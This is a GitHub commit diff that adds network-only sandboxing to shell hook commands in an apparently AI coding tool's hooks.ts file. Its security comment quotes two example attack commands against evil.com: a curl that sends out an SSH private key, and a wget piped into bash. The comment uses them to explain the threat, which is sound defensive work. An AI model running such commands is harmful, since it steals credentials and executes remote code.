Skip to content

Commit 4337b82

Browse files
Merge branch 'pr/programming-pupil/33'
2 parents 7dfbcd0 + 2e4d6e2 commit 4337b82

1 file changed

Lines changed: 57 additions & 1 deletion

File tree

src/utils/hooks.ts

Lines changed: 57 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -128,6 +128,7 @@ import {
128128
permissionRuleValueFromString,
129129
} from './permissions/permissionRuleParser.js'
130130
import { logError } from './log.js'
131+
import { SandboxManager } from './sandbox/sandbox-adapter.js'
131132
import { createCombinedAbortSignal } from './combinedAbortSignal.js'
132133
import type { PermissionResult } from './permissions/PermissionResult.js'
133134
import { registerPendingAsyncHook } from './hooks/AsyncHookRegistry.js'
@@ -1036,6 +1037,57 @@ async function execCommandHook(
10361037
// without Git Bash — but init.ts still calls setShellIfWindows() on
10371038
// startup, which will exit first. Relaxing that is phase 1 of the
10381039
// design's implementation order (separate PR).
1040+
1041+
// SECURITY: Apply network-only sandbox to hook commands when sandboxing is enabled.
1042+
// Hooks execute arbitrary shell commands from settings.json without going
1043+
// through the Bash tool's permission prompt. Unlike the full Bash sandbox,
1044+
// hooks only get network restrictions (not filesystem restrictions) because:
1045+
// - Legitimate hooks (formatters, linters, type checkers) need full
1046+
// filesystem access to read/write project files
1047+
// - The core threat from malicious hooks is data exfiltration (e.g.
1048+
// `curl http://evil.com?key=$(cat ~/.ssh/id_rsa)`) and payload download
1049+
// (e.g. `wget http://evil.com/malware.sh | bash`)
1050+
// - Hooks that genuinely need network (notifications) should use the
1051+
// `http` hook type, which is not affected by this sandbox
1052+
let sandboxedCommand = finalCommand
1053+
if (!isPowerShell && SandboxManager.isSandboxingEnabled()) {
1054+
try {
1055+
sandboxedCommand = await SandboxManager.wrapWithSandbox(
1056+
finalCommand,
1057+
undefined, // use default shell
1058+
{
1059+
// Network: deny all outbound by default. Hooks that need network
1060+
// should use the `http` hook type instead of shell commands.
1061+
network: {
1062+
allowedDomains: [],
1063+
deniedDomains: [],
1064+
},
1065+
// Filesystem: no additional restrictions beyond sandbox defaults.
1066+
// Hooks need to read/write project files freely (e.g. prettier --write).
1067+
filesystem: {
1068+
allowWrite: ['/'],
1069+
denyWrite: [],
1070+
allowRead: [],
1071+
denyRead: [],
1072+
},
1073+
},
1074+
signal,
1075+
)
1076+
logForDebugging(
1077+
`Hook command sandboxed (network-only): ${hook.command}`,
1078+
{ level: 'verbose' },
1079+
)
1080+
} catch (sandboxError) {
1081+
// If sandbox wrapping fails, log and continue without sandbox.
1082+
// This preserves backwards compatibility — hooks that ran before
1083+
// sandbox support was added will still work.
1084+
logForDebugging(
1085+
`Failed to sandbox hook command, running unsandboxed: ${errorMessage(sandboxError)}`,
1086+
{ level: 'warn' },
1087+
)
1088+
}
1089+
}
1090+
10391091
let child: ChildProcessWithoutNullStreams
10401092
if (shellType === 'powershell') {
10411093
const pwshPath = await getCachedPowerShellPath()
@@ -1056,7 +1108,7 @@ async function execCommandHook(
10561108
// On Windows, use Git Bash explicitly (cmd.exe can't run bash syntax).
10571109
// On other platforms, shell: true uses /bin/sh.
10581110
const shell = isWindows ? findGitBashPath() : true
1059-
child = spawn(finalCommand, [], {
1111+
child = spawn(sandboxedCommand, [], {
10601112
env: envVars,
10611113
cwd: safeCwd,
10621114
shell,
@@ -1413,6 +1465,10 @@ async function execCommandHook(
14131465
if (!shellCommandTransferred) {
14141466
shellCommand.cleanup()
14151467
}
1468+
// Clean up sandbox artifacts (e.g. bwrap mount-point files on Linux)
1469+
if (sandboxedCommand !== finalCommand) {
1470+
SandboxManager.cleanupAfterCommand()
1471+
}
14161472
}
14171473
}
14181474

0 commit comments

Comments
 (0)